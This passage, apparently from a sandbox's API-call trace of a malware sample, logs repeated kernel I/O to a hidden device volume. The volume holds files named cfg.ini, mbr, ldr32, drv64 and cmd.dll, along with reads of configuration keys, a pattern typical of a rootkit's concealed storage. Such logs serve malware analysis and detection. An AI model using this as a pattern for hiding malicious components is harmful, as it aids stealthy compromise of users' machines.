ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.669] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.669] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.669] KeLeaveCriticalRegion () [0129.670] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.670] KeEnterCriticalRegion () [0129.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.670] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.670] IdePortDispatch () returned 0x103 [0129.670] KeWaitForMutexObject () returned 0x0 [0129.670] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.670] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.670] KeLeaveCriticalRegion () [0129.670] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.670] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.670] KeEnterCriticalRegion () [0129.670] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.670] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c32000 [0129.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.670] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.670] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.670] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.670] IdePortDispatch () returned 0x103 [0129.670] KeWaitForMutexObject () returned 0x0 [0129.670] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.670] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.671] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.671] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.671] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.671] IdePortDispatch () returned 0x103 [0129.671] KeWaitForMutexObject () returned 0x0 [0129.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.671] KeLeaveCriticalRegion () [0129.671] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.671] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.671] KeEnterCriticalRegion () [0129.671] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.671] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.671] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.671] KeLeaveCriticalRegion () [0129.671] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.672] KeEnterCriticalRegion () [0129.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.672] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.672] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.672] KeLeaveCriticalRegion () [0129.672] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.672] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.672] KeEnterCriticalRegion () [0129.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.672] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0129.672] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.672] KeLeaveCriticalRegion () [0129.672] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.672] ReleaseMutex (hMutex=0xf0) returned 1 [0129.672] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.672] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.672] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.672] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.672] KeEnterCriticalRegion () [0129.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.672] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.672] IdePortDispatch () returned 0x103 [0129.672] KeWaitForMutexObject () returned 0x0 [0129.672] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.672] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.672] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.672] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.672] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.673] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.673] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.673] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.673] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.673] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.673] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.673] KeLeaveCriticalRegion () [0129.673] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.673] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.673] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.673] KeEnterCriticalRegion () [0129.673] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.673] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.673] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.673] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.673] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.673] IdePortDispatch () returned 0x103 [0129.673] KeWaitForMutexObject () returned 0x0 [0129.673] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.673] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.673] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.673] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.673] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.673] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.673] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.673] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.673] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.673] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.673] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.674] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.674] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.674] KeLeaveCriticalRegion () [0129.674] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.674] ReleaseMutex (hMutex=0x100) returned 1 [0129.674] Sleep (dwMilliseconds=0x2bf20) [0129.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x707e1e30, dwHighDateTime=0x1d24fa4)) [0129.681] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.681] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.681] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.681] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.681] KeEnterCriticalRegion () [0129.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.681] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.681] IdePortDispatch () returned 0x103 [0129.681] KeWaitForMutexObject () returned 0x0 [0129.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.681] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.681] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.681] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.681] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.681] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06850 [0129.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.681] KeLeaveCriticalRegion () [0129.681] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.681] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.681] KeEnterCriticalRegion () [0129.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.681] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.682] KeLeaveCriticalRegion () [0129.682] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.682] KeEnterCriticalRegion () [0129.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.682] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.682] IdePortDispatch () returned 0x103 [0129.682] KeWaitForMutexObject () returned 0x0 [0129.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.682] KeLeaveCriticalRegion () [0129.682] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.682] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.682] KeEnterCriticalRegion () [0129.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.682] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c35000 [0129.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.682] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.682] IdePortDispatch () returned 0x103 [0129.682] KeWaitForMutexObject () returned 0x0 [0129.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.683] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.683] IdePortDispatch () returned 0x103 [0129.683] KeWaitForMutexObject () returned 0x0 [0129.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.683] KeLeaveCriticalRegion () [0129.683] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.683] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.683] KeEnterCriticalRegion () [0129.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.683] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.683] KeLeaveCriticalRegion () [0129.684] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.684] KeEnterCriticalRegion () [0129.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.684] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.684] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.684] KeLeaveCriticalRegion () [0129.684] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.684] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.684] KeEnterCriticalRegion () [0129.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.684] ExFreePoolWithTag (P=0xfffffa8003c06850, Tag=0x0) [0129.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.684] KeLeaveCriticalRegion () [0129.684] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.684] ReleaseMutex (hMutex=0xf0) returned 1 [0129.684] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.684] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.684] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.684] KeEnterCriticalRegion () [0129.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.684] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.684] IdePortDispatch () returned 0x103 [0129.684] KeWaitForMutexObject () returned 0x0 [0129.684] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.684] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.684] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.684] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.684] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.684] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05220 [0129.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.685] KeLeaveCriticalRegion () [0129.685] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.685] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.685] KeEnterCriticalRegion () [0129.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.685] KeLeaveCriticalRegion () [0129.685] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.685] KeEnterCriticalRegion () [0129.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.685] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.685] IdePortDispatch () returned 0x103 [0129.685] KeWaitForMutexObject () returned 0x0 [0129.685] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.685] KeLeaveCriticalRegion () [0129.685] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.685] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.685] KeEnterCriticalRegion () [0129.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.685] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c36000 [0129.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.685] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.685] IdePortDispatch () returned 0x103 [0129.686] KeWaitForMutexObject () returned 0x0 [0129.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.686] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.686] IdePortDispatch () returned 0x103 [0129.686] KeWaitForMutexObject () returned 0x0 [0129.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.686] KeLeaveCriticalRegion () [0129.686] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.686] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.687] KeEnterCriticalRegion () [0129.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.687] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.687] KeLeaveCriticalRegion () [0129.687] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.687] KeEnterCriticalRegion () [0129.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.687] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.687] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) 